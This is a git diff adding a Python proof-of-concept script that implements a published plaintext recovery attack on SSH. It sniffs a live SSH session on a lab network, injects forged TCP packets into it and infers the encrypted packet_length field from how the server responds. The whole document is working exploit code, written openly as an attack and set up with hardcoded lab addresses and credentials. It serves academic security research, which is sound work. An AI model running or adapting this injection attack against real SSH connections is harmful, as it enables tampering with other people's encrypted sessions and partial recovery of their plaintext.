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diff --git a/SSHAttackSummary/ssh-attack.py b/SSHAttackSummary/ssh-attack.py
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+#!/usr/bin/python
+"""
+Proof-of-concept implementation of [APW09]_
+
+.. [APW09] Martin R. Albrecht, Kenneth G. Paterson and Gaven J. Watson
+   Plaintext Recovery Attacks Against SSH
+   IEEE Security & Privacy 2009. IEEE 2009.
+
+AUTHOR: Martin Albrecht <martinralbrecht@googlemail.com>
+"""
+import pdb
+import pxssh
+import thread
+import scapy
+import time
+import sys
+import commands
+
+from scapy.all import IP, TCP
+
+#
+# Configuration
+#
+
+iface='lxcbr0'    # the interface we work on
+bob='10.0.1.1'    # the client
+alice='10.0.1.30' # the server
+
+def sniff_ssh_conversation(port):
+    """
+    Sniff the conversation between alice and bob and return the last
+    SSH request/response pair.
+    """
+    packets = scapy.all.sniff(iface=iface, timeout=2, filter="tcp port %d"%port)
+    packets = [p[IP] for p in packets if len(p[TCP]) > 4*p[TCP].dataofs]
+
+    an = 0
+    for p in reversed(packets):
+        if p.src == bob and p.dst == alice:
+            req = p
+            an = req[TCP].ack
+            break
+    else:
+        raise IndexError("Request packet not found")
+
+    for p in reversed(packets):
+        if p.src == alice and p.dst == bob and p[TCP].seq == an:
+            res = p
+            break
+    else:
+        raise IndexError("Response packet not found")
+
+    return req, res
+
+def delayed(func):
+    """
+    Execute func one second late.
+    """
+    def wrapper(*args, **kwds):
+        time.sleep(1)
+        return func(*args, **kwds)
+    wrapper.__doc__ = func.__doc__
+    return wrapper
+
+@delayed
+def generate_ssh_traffic(s):
+    s.send("a")
+
+def got_invalid_packet_length(response):
+    """
+    Return True if the packet list has a payload packet (i.e. it is
+    neither only an ACK nor a FIN). We then assume that the packet
+    contains an SSH error message which could either be a
+    packet_length failure or a MAC failure which we ignore.
+    """
+    for (a,b) in response:
+        if len(b[TCP]) > b[TCP].dataofs*4:
+            return True
+    return False
+
+def has_blocksize_failure(response):
+    """
+    Return True if packet list contains a FIN and no 'size failure'
+    packet.
+    """
+    if got_invalid_packet_length(response):
+        return False
+    for (a,b) in response:
+        if (b[TCP].flags & 1):
+            return True
+    return False
+
+def is_wait_state(response):
+    """
+    Return True if neither has_blocksize_failure nor
+    got_invalid_packet_length is True.
+    """
+    return not got_invalid_packet_length(response) and not has_blocksize_failure(response)
+
+def get_port_number():
+    """
+    Get port number of current SSH session using 'netstat'.
+    """
+    for line in commands.getoutput("netstat -tn").splitlines():
+        if alice + ":22" in line and "ESTABLISHED" in line:
+            src = [e for e in line.split(' ') if e != ''][3]
+            return int(src.split(":")[1])
+
+def ssh_attack():
+    i = -1
+    while True:
+        i+=1
+        sys.stdout.flush()
+
+        # 1. start a fresh SSH session
+        s = pxssh.pxssh()
+        s.login(alice, "alice", "alice")
+        port = get_port_number()
+
+        # 2.1. generate some traffic
+        thread.start_new_thread(generate_ssh_traffic, (s,))
+
+        # 2.2. sniff data & inject
+        try:
+            a, b = sniff_ssh_conversation(port)
+            c = gen_packet(b)
+            result = scapy.all.sr(c, iface=iface, verbose=False, timeout=1, multi=True)
+        except IndexError:
+            s.send("\n")
+            s.logout()
+            s.close()
+            print "Crap, something went wrong."
+            continue
+
+        # 3. check the response from the server
+        response = result[0]
+
+        if got_invalid_packet_length(response):
+            # TODO: We ignore MAC Failures here.
+            print "%5d: packet_length < 1 + 4 || packet_length > 256 * 1024"%(i,)
+            continue
+        elif has_blocksize_failure(response):
+            print "%5d: need %% block_size != 0"%(i)
+            continue
+        elif is_wait_state(response):
+            print "%5d: buffer_len(&input) < need + maclen "%(i,),
+            for (a,b) in response:
+                if is_ack(b):
+                    break
+            try:
+                return handle_wait_state(b, port)
+            except PacketLengthUnlikely:
+                continue
+        else:
+            raise RuntimeError("This case should never happen",response,s)
+    return s
+
+def gen_packet(p, size=16):
+    """
+    Generate an SSH package which replies to p.
+    """
+    a = IP()
+    a.src = p[IP].dst
+    a.dst = p[IP].src
+
+    b = TCP()
+    b.sport = p[TCP].dport
+    b.dport = p[TCP].sport
+
+    b.seq = p[TCP].ack
+    b.ack = p[TCP].seq + len(p[TCP]) - (p[TCP].dataofs*4)
+
+    timestamp = p[TCP].options[2][1]
+    b.flags = 0x18 # PA
+    b.options = [('NOP', None), ('NOP', None), ('Timestamp', (timestamp[1]+100, timestamp[0]))]
+    b.payload = '0'*size
+    return a/b
+
+def is_ack(p):
+    return p[IP].proto == 6 and len(p[TCP]) == p[TCP].dataofs*4 and p[TCP].flags & 16
+
+class PacketLengthUnlikely(Exception):
+    """
+    Raised if the value in the packet length field is unlikely,
+    i.e. it is very small.
+    """
+    pass
+
+class MACFailure(Exception):
+    """
+    Raised if we see a MAC failure on the wire.
+    """
+    pass
+
+last = None
+
+def wait_state_callback(pkt):
+    """
+    Called on every packet on the wire.
+    """
+    global last
+
+    if is_ack(pkt) and pkt[TCP].seq == last[TCP].ack:
+        # We received an ACK for our last SSH request, so we send
+        # another one. However, the TCP stack (in the kernel) might
+        # send out ACKs before SSH got a chance to reply with an SSH
+        # connection teardown, since computing a MAC for a long
+        # message takes time. We have two strategies to deal with
+        # that:
+
+        # Strategy 1: We send packets that are too small. So if we
+        # send to many we know how many were too much. To enable this,
+        # set the second parameter to something < 16.
+
+        pkt = gen_packet(pkt,16)
+        last = pkt
+
+        # Strategy 2: We slow ourselves down here.
+        #time.sleep(0.05)
+
+        scapy.all.send(pkt, verbose=False)
+        return
+
+    elif len(pkt[TCP]) > (pkt[TCP].dataofs*4):
+        # We received a payload and assume a MAC failure.
+        raise MACFailure(pkt)
+    else:
+        # Something wrong happened, this should never happen.
+        raise TypeError("Unknown response", pkt)
+
+def handle_wait_state(pkt, port):
+    """
+    We send small packets until we receive a MAC failure. The sending
+    is done via a callback only the initial packet is sent in this
+    function. We keep track of the sent packets via the sequence
+    numbers of TCP.
+    """
+    global last
+
+    pkt = gen_packet(pkt)
+    last = pkt
+    first_seq = int(pkt[TCP].seq)
+
+    thread.start_new_thread(delayed(scapy.all.send), (pkt,))
+
+    try:
+        scapy.all.sniff(iface=iface, filter="src host %s && tcp port %d"%(alice,port,), prn=wait_state_callback)
+    except MACFailure, pkt:
+        return calc_packet_length(pkt.message, first_seq)
+
+def calc_packet_length(pkt, first_seq):
+    """
+    Given a MAC failure message and a first sequence number calculate
+    the correct number of bytes sent and thereby the value of the
+    packet_length field.
+    """
+    packet_length = pkt[TCP].ack - first_seq
+
+    packet_length -= packet_length % 16
+
+    packet_length += 16 # account bytes sent initially
+
+    packet_length -= 4  # don't count the packet_length field itself
+    packet_length -= 16 # don't count the MAC
+
+    return packet_length
+